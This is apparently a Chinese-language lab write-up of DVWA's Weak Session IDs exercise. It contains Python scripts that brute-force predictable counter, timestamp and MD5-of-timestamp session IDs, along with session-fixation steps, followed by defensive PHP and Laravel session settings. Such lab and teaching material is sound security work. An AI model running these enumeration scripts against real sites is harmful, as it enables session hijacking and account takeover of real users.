目录
漏洞简介
什么是Weak Session IDs(弱会话ID)?
Session ID是服务器用来识别用户会话的唯一标识符。弱会话ID是指可预测、容易猜测或破解的会话标识符。
Session的作用:
- 在HTTP无状态协议中维持用户状态
- 识别已登录用户
- 存储用户会话数据
危害:
- 会话劫持(Session Hijacking)
- 会话固定(Session Fixation)
- 未授权访问
- 账户接管
- 身份伪装
弱Session ID的特征:
- 可预测(如连续递增)
- 熵值太低(如只有数字)
- 基于时间戳
- 短长度
- 不随机
Low 难度
攻击目标
使用简单的计数器作为Session ID,完全可预测。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php
if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {
$last_session_id = 0;
$sessionid_path = __DIR__ . DIRECTORY_SEPARATOR . 'sessionid.txt';
if( file_exists( $sessionid_path ) ) {
$last_session_id = intval( file_get_contents( $sessionid_path ) ); }
$session_id = ++$last_session_id;
file_put_contents( $sessionid_path, $session_id );
setcookie( "dvwaSession", $session_id, 0, "/" ); }
$cookie_value = $_COOKIE[ 'dvwaSession' ];
?>
|
漏洞分析
Session ID生成方式:
1 2 3 4 5 6
| 用户1:dvwaSession = 0 用户2:dvwaSession = 1 用户3:dvwaSession = 2 用户4:dvwaSession = 3 ... 用户N:dvwaSession = N-1
|
核心问题:
- 完全可预测 - 简单递增
- 低熵值 - 只是数字
- 易于暴力破解 - 从0开始尝试
- 无安全标志 - 无HttpOnly、Secure
- 存储在文件 - 不安全
攻击步骤
步骤1:观察Session ID模式
测试:
- 清除Cookie
- 访问DVWA的Weak Session IDs页面
- 记录你的Session ID(例如:15)
- 清除Cookie,再次访问
- 记录新的Session ID(例如:16)
- 重复几次
发现:Session ID连续递增!
步骤2:枚举其他用户的Session
Python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import requests
url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/" cookies_base = { 'security': 'low', 'PHPSESSID': '你的PHPSESSID' }
for session_id in range(90, 110): cookies = cookies_base.copy() cookies['dvwaSession'] = str(session_id)
response = requests.get(url, cookies=cookies)
print(f"[*] Testing dvwaSession={session_id}") if response.status_code == 200: print(f"[+] Session {session_id} is valid!")
|
步骤3:会话劫持
场景:
- 攻击者获知受害者的Session ID(通过XSS、网络嗅探等)
- 或者通过枚举猜测Session ID
- 使用该Session ID访问应用
- 冒充受害者身份
使用Burp Suite:
- 拦截请求
- 修改Cookie中的dvwaSession值
- 尝试不同的数字
- 找到有效的Session
步骤4:会话固定攻击
攻击流程:
- 攻击者清除Cookie,访问DVWA
- 记录自己的dvwaSession(例如:50)
- 诱导受害者使用这个Session(发送链接)
- 受害者使用dvwaSession=50登录
- 攻击者也使用dvwaSession=50访问
- 攻击者获得受害者的权限
Medium 难度
攻击目标
使用时间戳作为Session ID,仍然可预测。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {
$session_id = time();
setcookie( "dvwaSession", $session_id, 0, "/" ); }
$cookie_value = $_COOKIE[ 'dvwaSession' ];
?>
|
新增防护
使用时间戳替代简单计数器
仍存在的漏洞
核心问题:
时间戳仍然是可预测的!
1 2 3 4
| 2024-11-20 22:00:00 → 1700503200 2024-11-20 22:00:01 → 1700503201 2024-11-20 22:00:02 → 1700503202 ...
|
攻击者可以:
- 知道大致的时间范围
- 在这个范围内枚举(±几分钟)
- 找到有效的Session ID
绕过方法
方法1:时间窗口枚举
Python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import requests import time
url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/" cookies_base = { 'security': 'medium', 'PHPSESSID': '你的PHPSESSID' }
current_time = int(time.time())
for offset in range(-300, 300): session_id = current_time + offset
cookies = cookies_base.copy() cookies['dvwaSession'] = str(session_id)
response = requests.get(url, cookies=cookies)
if "valid session" in response.text.lower(): print(f"[+] Found valid session: {session_id}") print(f" Timestamp: {time.ctime(session_id)}")
|
方法2:已知用户登录时间
如果知道用户的登录时间(如:2024-11-20 15:30:00),可以:
1 2 3 4 5 6 7 8 9 10 11 12
| import datetime import time
login_time = datetime.datetime(2024, 11, 20, 15, 30, 0) timestamp = int(login_time.timestamp())
for offset in range(-60, 60): session_id = timestamp + offset print(f"Trying: {session_id}")
|
High 难度
攻击目标
使用MD5哈希,但基于时间戳,仍可预测。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {
$session_id = md5( time() );
setcookie( "dvwaSession", $session_id, 0, "/" ); }
$cookie_value = $_COOKIE[ 'dvwaSession' ];
?>
|
新增防护
使用MD5哈希时间戳
仍存在的漏洞
核心问题:
虽然使用了MD5,但输入源(时间戳)是可预测的!
攻击原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import hashlib import time
current = int(time.time())
md5_dict = {} for offset in range(-300, 300): timestamp = current + offset md5_hash = hashlib.md5(str(timestamp).encode()).hexdigest() md5_dict[md5_hash] = timestamp
|
绕过方法
方法:预计算MD5字典
完整攻击脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import requests import hashlib import time
url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/" cookies_base = { 'security': 'high', 'PHPSESSID': '你的PHPSESSID' }
current_time = int(time.time())
print("[*] Generating MD5 dictionary...")
md5_list = [] for offset in range(-600, 600): timestamp = current_time + offset md5_hash = hashlib.md5(str(timestamp).encode()).hexdigest() md5_list.append((md5_hash, timestamp))
print(f"[*] Generated {len(md5_list)} MD5 hashes") print("[*] Testing Session IDs...")
for md5_hash, timestamp in md5_list: cookies = cookies_base.copy() cookies['dvwaSession'] = md5_hash
response = requests.get(url, cookies=cookies)
if "valid" in response.text.lower(): print(f"[+] Found valid session!") print(f" Session ID: {md5_hash}") print(f" Timestamp: {timestamp} ({time.ctime(timestamp)})") break
time.sleep(0.1)
|
优化:多线程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import threading import queue
def worker(q, results): while True: try: md5_hash, timestamp = q.get(timeout=1)
cookies = cookies_base.copy() cookies['dvwaSession'] = md5_hash
response = requests.get(url, cookies=cookies)
if "valid" in response.text.lower(): results.append((md5_hash, timestamp))
q.task_done() except queue.Empty: break
q = queue.Queue() results = []
for md5_hash, timestamp in md5_list: q.put((md5_hash, timestamp))
threads = [] for i in range(10): t = threading.Thread(target=worker, args=(q, results)) t.start() threads.append(t)
q.join()
for t in threads: t.join()
print(f"[+] Found {len(results)} valid sessions")
|
Impossible 难度
攻击目标
使用PHP内置的安全Session机制,无法预测。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
session_start();
$cookie_value = session_id();
?>
|
完善的防护机制
PHP Session ID特性:
强随机性
- 使用CSPRNG(密码学安全伪随机数生成器)
- 不可预测
高熵值
自动管理
安全选项
1 2 3 4 5
| ini_set('session.cookie_httponly', 1); ini_set('session.cookie_secure', 1); ini_set('session.use_only_cookies', 1); ini_set('session.cookie_samesite', 'Strict');
|
为什么无法攻破?
暴力破解计算:
1 2 3 4 5 6 7 8 9 10 11 12
| Session ID长度:32字符 字符集:0-9, a-z(36个字符) 可能性:36^32 ≈ 6.3 × 10^49
假设: - 每秒测试100万个Session ID - 需要时间:6.3 × 10^49 / 10^6 ≈ 6.3 × 10^43 秒 - 转换为年:≈ 2 × 10^36 年
宇宙年龄:约 1.4 × 10^10 年
暴力破解在计算上完全不可行!
|
所有攻击都失败:
1 2 3 4 5 6 7 8 9 10 11
| 尝试1:枚举连续数字 结果:Session ID不是数字,是随机字符串
尝试2:基于时间预测 结果:Session ID与时间无关
尝试3:MD5字典 结果:Session ID不是基于简单哈希
尝试4:暴力破解 结果:计算上不可行(需要宇宙年龄的10^26倍)
|
防御建议
代码层面
1. 使用PHP内置Session(推荐)
1 2 3 4 5
| session_start();
$session_id = session_id();
|
2. 配置Session安全选项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
|
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.use_only_cookies', 1);
ini_set('session.use_trans_sid', 0);
ini_set('session.cookie_samesite', 'Strict');
session_name('MyApp_Session');
session_save_path('/path/to/secure/directory');
|
3. 定期更新Session ID
1 2 3 4 5 6 7 8 9 10
| session_start(); if ($user_authenticated) { session_regenerate_id(true); }
if ($critical_operation) { session_regenerate_id(true); }
|
4. 添加额外的安全检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| session_start();
if (!isset($_SESSION['ip'])) { $_SESSION['ip'] = $_SERVER['REMOTE_ADDR']; } elseif ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) { session_destroy(); die('Session hijacking detected'); }
if (!isset($_SESSION['user_agent'])) { $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT']; } elseif ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) { session_destroy(); die('Session hijacking detected'); }
$timeout = 30 * 60; if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity']) > $timeout) { session_destroy(); die('Session expired'); } $_SESSION['last_activity'] = time();
|
5. 自定义Session ID生成器(高级)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function generate_secure_session_id() { $random_bytes = random_bytes(32);
$session_id = bin2hex($random_bytes);
return $session_id; }
session_id(generate_secure_session_id()); session_start();
|
框架层面
Laravel示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
return [ 'driver' => 'database', 'lifetime' => 120, 'expire_on_close' => false, 'encrypt' => true, 'http_only' => true, 'secure' => true, 'same_site' => 'strict', ];
session(['key' => 'value']); $value = session('key');
session()->regenerate();
|
监控和日志
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| function log_session_activity() { $log = [ 'session_id' => session_id(), 'user_id' => $_SESSION['user_id'] ?? 'anonymous', 'ip' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'timestamp' => time(), ];
file_put_contents( 'session_log.txt', json_encode($log) . "\n", FILE_APPEND ); }
|
总结对比
| 特性 |
Low |
Medium |
High |
Impossible |
| 生成方式 |
递增计数器 |
时间戳 |
MD5(时间戳) |
PHP Session |
| 可预测性 |
完全可预测 |
高度可预测 |
可预测 |
不可预测 |
| 熵值 |
极低 |
低 |
中 |
高(128位) |
| 长度 |
1-4位 |
10位 |
32字符 |
32字符 |
| 字符集 |
数字 |
数字 |
十六进制 |
字母数字 |
| 暴力破解 |
秒级 |
分钟级 |
小时级 |
不可行 |
| 安全标志 |
❌ |
❌ |
❌ |
✅(可配置) |
| 攻击难度 |
极易 |
简单 |
中等 |
极难 |
常用攻击技巧
Session劫持
1 2 3 4 5
| for session_id in range(0, 1000): cookies = {'dvwaSession': str(session_id)} response = requests.get(url, cookies=cookies)
|
Session固定
1 2 3 4
| 1. 攻击者获取Session ID:ABC123 2. 发送链接给受害者:http://site.com/?session_id=ABC123 3. 受害者登录(使用ABC123) 4. 攻击者使用ABC123访问(现在是已登录状态)
|
时间窗口攻击
1 2 3 4 5 6
| import time current = int(time.time()) for offset in range(-300, 300): test_session = current + offset
|
实战建议
学习路径:
- Low难度 - 理解递增Session的危险
- Medium难度 - 学习时间窗口枚举
- High难度 - 掌握预计算攻击
- Impossible难度 - 理解强随机Session
攻击技巧:
- 观察Session ID模式
- 使用Python脚本自动化
- 多线程加速枚举
- 预计算常见哈希
防御重点:
- 使用PHP内置Session
- 配置安全选项(HttpOnly, Secure)
- 定期更新Session ID
- 绑定IP/User-Agent(可选)
- 设置超时
道德准则:
- 只在授权环境测试
- 不窃取他人Session
- 学习是为了构建安全系统